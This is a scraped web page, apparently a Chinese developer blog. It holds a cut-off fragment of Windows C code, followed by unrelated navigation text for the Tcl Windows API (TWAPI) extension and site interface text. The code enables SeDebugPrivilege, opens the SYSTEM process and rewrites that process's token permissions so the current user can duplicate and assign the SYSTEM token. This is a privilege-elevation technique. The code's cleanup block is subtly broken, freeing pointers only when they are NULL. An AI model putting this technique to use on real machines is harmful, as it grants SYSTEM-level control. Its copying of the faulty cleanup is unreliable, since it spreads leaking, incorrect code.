pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
{
printf("ModifySecurity Invalid SID Found");
__leave;
}

// And actually make our SD absolute
if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
{
printf("ModifySecurity MakeAbsoluteSD Failed");
__leave;
}

// Now set the security descriptor DACL
if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
fDaclDefaulted))
{
printf("ModifySecurity SetSecurityDescriptorDacl Failed");
__leave;
}

// And set the security for the object
if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
{
printf("ModifySecurity SetKernelObjectSecurity Failed");
__leave;
}

fSuccess = TRUE;

}
__finally
{
// Cleanup
if (pNewAcl == NULL)
LocalFree(pNewAcl);

if (pSD == NULL)
LocalFree(pSD);

if (pAcl == NULL)
LocalFree(pAcl);

if (pSacl == NULL)
LocalFree(pSacl);

if (pSidOwner == NULL)
LocalFree(pSidOwner);

if (pSidPrimary == NULL)
LocalFree(pSidPrimary);

if(!fSuccess)
{
printf("ModifySecurity exception caught in __finally");
}

return(fSuccess);
}
}

HANDLE GetLSAToken()
{
HANDLE hProc = NULL;
HANDLE hToken = NULL;
BOOL bSuccess = FALSE;
__try
{
// Enable the SE_DEBUG_NAME privilege in our process token
if (!EnablePrivilege(SE_DEBUG_NAME))
{
printf("GetLSAToken EnablePrivilege Failed");
__leave;
}

// Retrieve a handle to the "System" process
hProc = OpenSystemProcess();
if(hProc == NULL)
{
printf("GetLSAToken OpenSystemProcess Failed");
__leave;
}

// Open the process token with READ_CONTROL and WRITE_DAC access. We
// will use this access to modify the security of the token so that we
// retrieve it again with a more complete set of rights.
BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
&hToken);
if(FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}

// Add an ace for the current user for the token. This ace will add
// TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
| TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
{
printf("GetLSAToken ModifySecurity Failed");
__leave;
}

// Reopen the process token now that we have added the rights to
// query the token, duplicate it, and assign it.
fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
| TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
if (FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}
bSuccess = TRUE;

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Overview Tcl Windows API extension overview. Installation Installation requirements and instructions. Win32 raw API Direct access to the Win32 API. Window management Commands related to management of windows. Desktops and Window stations Commands related to desktops and window stations. Windows Shell Windows shell commands. Keyboard and mouse input Simulation of user input and support for system-wide hotkeys. Sound Basic sound functions. Clipboard Commands related to accessing the clipboard. System Operating system and machine configuration and control. Processes, threads and DLLs Commands related to processes, threads and dynamic link libraries. Handles Commands for managing operating system handles. Services Commands for configuring and monitoring Windows services. Network configuration Commands related to network configuration. Disks and Volumes Commands related to disks and volumes. Network shares Commands related to management of network shares. Users and Groups Commands related to user and group accounts. Security and access control Commands related to authentication and access control. Event log Commands relating to reading and writing the Windows event log. Windows INI file Commands for accessing Windows INI files. Console Commands related to Windows consoles. Scheduler Commands related to managing scheduled jobs through the task scheduler. Internationalization Commands related to internationalization. Miscellaneous Various TWAPI ancillary commands. Printers Printer management. Examples Tcl Windows API usage examples. Version History Tcl Windows API extension version history.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值